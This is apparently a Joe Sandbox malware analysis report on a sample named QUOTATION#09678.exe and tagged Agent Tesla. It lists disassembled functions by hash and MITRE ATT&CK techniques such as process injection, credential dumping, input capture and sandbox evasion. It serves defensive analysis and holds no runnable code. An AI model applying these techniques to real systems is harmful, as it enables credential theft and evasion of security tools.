Instruction Fuzzy Hash: 8E313C34E102058BDB59DF64D99569EBBF2AF89300F10C919E80AAB350DB70EC46CB40

Function 06A770F8 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4668f0c7faad00577667dd0fd57f574bd48eb3b3827f69cb94b8becdcae2737c
Instruction ID: 25d02e855840ec9eed0f6bf3169770956d2fcd206b031dd6d4924bfa6c3fa2e2
Opcode Fuzzy Hash: 4668f0c7faad00577667dd0fd57f574bd48eb3b3827f69cb94b8becdcae2737c
Instruction Fuzzy Hash: 3E216B76F10205DFDB50EFA9D981AADB7F1AB48310F108029E905EB364E730D8418BA4

Function 06A77108 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f37980889553d151f97f46cf1cb7db2485bc6fccdff136f48f15ec4b9678c7
Instruction ID: 4623822d672bc23c992c3fdb3358fa7c1901b359783f00d385526c79e80392ed
Opcode Fuzzy Hash: 85f37980889553d151f97f46cf1cb7db2485bc6fccdff136f48f15ec4b9678c7
Instruction Fuzzy Hash: AE214C76F00219DFDB50EFA9DD90AAEB7F1EB48710F108029E905EB364E730D8418BA4

Function 011BD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4170970203.00000000011BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11bd000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa380b11dce30dee2815fcb97bc7b39d17e4c2f5044935841da8fc53cd4931a5
Instruction ID: e85802833edfa3818703a5b3080d6593cd78e90685ce25f8c3a47a3598eb4fde
Opcode Fuzzy Hash: fa380b11dce30dee2815fcb97bc7b39d17e4c2f5044935841da8fc53cd4931a5
Instruction Fuzzy Hash: DF21F271604204DFDF1DDF58E9C0B66BBA5EB84318F24C56DD9094B256C33AD446CB62

Function 06A7A318 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f3eb2d9321bc8c888ddbaf57ff226e37ff6306bbfdcfe0889a7f7d1f0be3a7
Instruction ID: 3a584b3913f7674a437a0304facc81056ebec73bece992601ceeda18b006cb2e
Opcode Fuzzy Hash: d0f3eb2d9321bc8c888ddbaf57ff226e37ff6306bbfdcfe0889a7f7d1f0be3a7
Instruction Fuzzy Hash: 6F21C335F102149FDF94EF68E95069EB7B7EF84311F148429E905EB354EB309D458B80

Function 06A766B8 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51d2ea540aae3e8c79780fb99d5a1e57a193e78a125c9dada57ecb7e08c90556
Instruction ID: 61e6614ccf66cb4303fb657805ba799522244f357deb22dd77c693d63e28db52
Opcode Fuzzy Hash: 51d2ea540aae3e8c79780fb99d5a1e57a193e78a125c9dada57ecb7e08c90556
Instruction Fuzzy Hash: B311D331E002189FDF58EB68CD406DEFBB6EB89310F1085A9D405EB304EA31D984CB90

Function 06A77218 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7458bbfa7dc0103c533561bad764afb0b977490dd5fad4685051bc1fa76f076
Instruction ID: fdd55098bc23127a10e08eafe76f4e21f8974c4cb417d171c3a210f395f6f7d2
Opcode Fuzzy Hash: f7458bbfa7dc0103c533561bad764afb0b977490dd5fad4685051bc1fa76f076
Instruction Fuzzy Hash: 7011A532F101149BCF54A678CC146BE77FAABC8610B104575E916EB358EE34DC028BD0

Function 06A77450 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6464b2f864c7efd36b0e86384d0ff02863373eca8ce64ac30f1462c7386424e3
Instruction ID: d77649fcebcd762b2c9dc7f995911ac8ef56d8e36ac8da4dceff81e51b102950
Opcode Fuzzy Hash: 6464b2f864c7efd36b0e86384d0ff02863373eca8ce64ac30f1462c7386424e3
Instruction Fuzzy Hash: 42012431B105104FDBA59A7C991172ABBD6DFC9710F20883AE80ACB355EE35CC028381

Function 011BD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4170970203.00000000011BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11bd000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 6fb3095d13b0faf7fa9b5cb82e0375ace36aab05c9da3e76fd4661fdd87da9ca
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 0A11BB75504280CFDB1ACF58E5C4B55BFA1FB84318F28C6AADC494B656C33AD44ACB62

Function 06A76ED0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 061d817f2ad9ca841432e75f051ff822040925e063ba9b4f289c9239a19d6b27
Instruction ID: cbb8d5b7937fbdd06969fb5f2e2ce38647cec72f4ce753c9a2e7c1a6f66d427b
Opcode Fuzzy Hash: 061d817f2ad9ca841432e75f051ff822040925e063ba9b4f289c9239a19d6b27
Instruction Fuzzy Hash: 8121CEB5D012599FCB40DF9AD985BCEFBB4FF08314F10852AE918A7210C374AA54CBA5

Function 06A76ED8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 416b9a8839df5937f577d90d1ced0a018f076ee61c78d4aa0e3467069d7f25d6
Instruction ID: d20fdd14f4f2cc20a2518c84f3d4176cef2e5c528b38e6769d6c2dcb1059a455
Opcode Fuzzy Hash: 416b9a8839df5937f577d90d1ced0a018f076ee61c78d4aa0e3467069d7f25d6
Instruction Fuzzy Hash: FB11CFB1D01219AFCB00DF9AD884ACEFBB4FB48324F10812AE918A7200C374A954CFA5

Function 06A77207 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041cd313d4e6927e5a22a9441901700a6cc19e8133719bd4822a2b68b1dec6b4
Instruction ID: fef8018229ad83f132d597eacae4948e23263c084b788e56f65b450bb4be039a
Opcode Fuzzy Hash: 041cd313d4e6927e5a22a9441901700a6cc19e8133719bd4822a2b68b1dec6b4
Instruction Fuzzy Hash: 7E01B136F101155BCF94A6789D116EF77AAAB88200F00047AE806E7258EE34C8028BD1

Function 06A77460 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 091da3eab319465db37a97b0f461cf65142779fef6e7b38f52d6d3720cee1893
Instruction ID: d0c25dca5b5945370fdecade958026c785197ad560b6bc375640db930b6d8072
Opcode Fuzzy Hash: 091da3eab319465db37a97b0f461cf65142779fef6e7b38f52d6d3720cee1893
Instruction Fuzzy Hash: 7C01F431B104104FDB64EA7DD851B2BBBDADBC9B20F208839E50ECB354ED65DC024390

Function 06A7D918 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c296c8a2fe1f45abcbf6a59cccf4b689818171b0256aa84e99676c0197db7a9e
Instruction ID: f111a1cf2a632c26c057815477f52f5b35e72f27869216284619141be2861359
Opcode Fuzzy Hash: c296c8a2fe1f45abcbf6a59cccf4b689818171b0256aa84e99676c0197db7a9e
Instruction Fuzzy Hash: 2E018431B111545FDBA0BA38E96072ABBD5EFC5620F508838E44ECB794EE21DC468781

Function 06A7D928 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 139a021c6e02e2d3fa6d54c2d75d3c4523fbb4641fcb8412e2787c0f700cf449
Instruction ID: 09b8b33d139a1fb137e995bd2a38b8e5e67beb9209565c6d14eaf61f1deea653
Opcode Fuzzy Hash: 139a021c6e02e2d3fa6d54c2d75d3c4523fbb4641fcb8412e2787c0f700cf449
Instruction Fuzzy Hash: 37018631B101104BD750BA3CDD61B2AB7D5EFC5620F508838E50ECB754EE21DC468781

Function 06A79688 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4251081ceacd2cf643181ef12b07fe1dfeee4382a78f389d17290c80b25b0cb
Instruction ID: d1dd17243d73ecd2c72a88959025ead2c4bc15cb9aba322b6230abe524bff2aa
Opcode Fuzzy Hash: b4251081ceacd2cf643181ef12b07fe1dfeee4382a78f389d17290c80b25b0cb
Instruction Fuzzy Hash: F1E09AB1E252889FDF10EBA48E5569B77B5EB02204F2049E7E408CF201E236CF0597C1

Function 06A79698 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 747e0be1dba9796ba1351459c9b06ebf7bad7f96bb6b1074afaafdebbb323c34
Instruction ID: ad90afe272390d766c4dea5f40312b1f17eed34fb0a96dae2702d0575b1352ad
Opcode Fuzzy Hash: 747e0be1dba9796ba1351459c9b06ebf7bad7f96bb6b1074afaafdebbb323c34
Instruction Fuzzy Hash: 5CE0ECB1E25109ABDF50EAA48D4579B77ADD741218F2089A6D409DB201E676DA0197C0

Non-executed Functions

Function 06A7ACB0 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$kq, xrefs: 06A7ADD1
$kq, xrefs: 06A7B208
$kq, xrefs: 06A7B21E
$kq, xrefs: 06A7B1FC
$kq, xrefs: 06A7ADDD
$kq, xrefs: 06A7B169
$kq, xrefs: 06A7ADA0
$kq, xrefs: 06A7B15D
$kq, xrefs: 06A7ADAC
$kq, xrefs: 06A7B212

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-1324371161
Opcode ID: ae6c247dcb8063d2dae95b7f62e1e5152844761cfa27ca66bdedf70d9df60bea
Instruction ID: 42b0ef7c5d3c413e042b4f4e58afcb024867dce29deceea5e5f8f3ab86dc4b52
Opcode Fuzzy Hash: ae6c247dcb8063d2dae95b7f62e1e5152844761cfa27ca66bdedf70d9df60bea
Instruction Fuzzy Hash: 25123C70A01219CFDB68EF65C954A9EB7F2BF88304F2085A9D509AB364DB34DD85CF90

Function 06A7DF50 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$kq, xrefs: 06A7E102
$kq, xrefs: 06A7E052
$kq, xrefs: 06A7E0AD
$kq, xrefs: 06A7E10E
$kq, xrefs: 06A7E0A1
$kq, xrefs: 06A7E046
$kq, xrefs: 06A7E0CC
$kq, xrefs: 06A7E0D8

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-1078448309
Opcode ID: c31636be0759ef97f5eb8bbcaa7733224184db1045f882298c09b3a872efcb6c
Instruction ID: 5ac73a219880934504750c3a6aabf18f5d2f92a50b6bb01f1508e218a6cc0890
Opcode Fuzzy Hash: c31636be0759ef97f5eb8bbcaa7733224184db1045f882298c09b3a872efcb6c
Instruction Fuzzy Hash: CA917F30A0020ADFEBA8FF65DE55B6EBBB6BF44344F2085A9D4019B394DB349C45CB90

Function 06A7A6B0 Relevance: 7.9, Strings: 6, Instructions: 405COMMON

Download Yara Rule

Strings

$kq, xrefs: 06A7A9EC
$kq, xrefs: 06A7AB4C
$kq, xrefs: 06A7ABB8
$kq, xrefs: 06A7A992
$kq, xrefs: 06A7A9F8
$kq, xrefs: 06A7ABC4

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-1342094364
Opcode ID: a3b760842c4b2a81966cd6cbb1906c7247a595f0e59c83e0ea37413ed8a352ef
Instruction ID: 1488153c16a175ff7941ad67f78a79c73f38e8720958d0fa8d19079fc2d929ac
Opcode Fuzzy Hash: a3b760842c4b2a81966cd6cbb1906c7247a595f0e59c83e0ea37413ed8a352ef
Instruction Fuzzy Hash: 3AF14C75B01209DFDB58EFA4C950A6EB7B3BF84340F208569D5059B3A8DB35EC82CB80

Function 06A7F030 Relevance: 7.7, Strings: 6, Instructions: 197COMMON

Download Yara Rule

Strings

$kq, xrefs: 06A7F23D
$kq, xrefs: 06A7F1FD
$kq, xrefs: 06A7F1D5
$kq, xrefs: 06A7F209
$kq, xrefs: 06A7F231
$kq, xrefs: 06A7F1C9

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-1342094364
Opcode ID: 88b2c61390d18cd7adc380b0fd4c8c10926eae4a8484698996629c240ba15def
Instruction ID: e2ffbffebb8b9998bdc6b965c5bd4046b46b4c2cd6e6274364f2d7c1d2058d52
Opcode Fuzzy Hash: 88b2c61390d18cd7adc380b0fd4c8c10926eae4a8484698996629c240ba15def
Instruction Fuzzy Hash: 7A719130A102498FDB68EF68D9406AEB7B6FF84300F204569D416DB754DB71EE45CBD1

Function 06A7B9E8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$kq, xrefs: 06A7BC42
$kq, xrefs: 06A7BC4E
$kq, xrefs: 06A7BCA7
$kq, xrefs: 06A7BCB3

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq
API String ID: 0-2881790790
Opcode ID: 3023ca53062fc3901564806c92e6901f6077bf2e2378396bc86e454b3256b10f
Instruction ID: 078bad39deb57c1a0ab49794302c3d6c3fd7154c812c8869e6261ac119f74618
Opcode Fuzzy Hash: 3023ca53062fc3901564806c92e6901f6077bf2e2378396bc86e454b3256b10f
Instruction Fuzzy Hash: 4FB14C70A11209CFDB68EF64D9907AEBBB2FF84304F248529D4159B395DB74EC82CB90

Function 06A7BE00 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$kq, xrefs: 06A7BE8B
LRkq, xrefs: 06A7BEF3
$kq, xrefs: 06A7BE7F
LRkq, xrefs: 06A7BF42

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: LRkq$LRkq$$kq$$kq
API String ID: 0-2392252538
Opcode ID: b74020672f379416f76bbdd2ec950ef4d43b9301ece2d31f087d8fc83c502e27
Instruction ID: c6c94b096af0190081067607bdd5b6aba8348f9a9fb9a8757af5acdcfdc45d64
Opcode Fuzzy Hash: b74020672f379416f76bbdd2ec950ef4d43b9301ece2d31f087d8fc83c502e27
Instruction Fuzzy Hash: 3251C071B002059FDB58EF28D950A6AB7F6FF89304F1485A9E5068F3A8DB31EC44CB90

Function 06A7E2D8 Relevance: 5.2, Strings: 4, Instructions: 160COMMON

Download Yara Rule

Strings

$kq, xrefs: 06A7E409
$kq, xrefs: 06A7E45C
$kq, xrefs: 06A7E48B
$kq, xrefs: 06A7E4B4

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq
API String ID: 0-2881790790
Opcode ID: 6d7eddb5924b4d2c811613d7b57825d8329681eab80606ed2dc9f230de43bcd7
Instruction ID: 2edea48c384f6692e4154ba23727ce74dc10070f43fcaa56b7c326aaf7edd17c
Opcode Fuzzy Hash: 6d7eddb5924b4d2c811613d7b57825d8329681eab80606ed2dc9f230de43bcd7
Instruction Fuzzy Hash: F6518D31A10205DFDFA5EB68D9906AEB7B2FF84310F2485A9D406EB364DB35DC41CB90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QUOTATION#09678.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

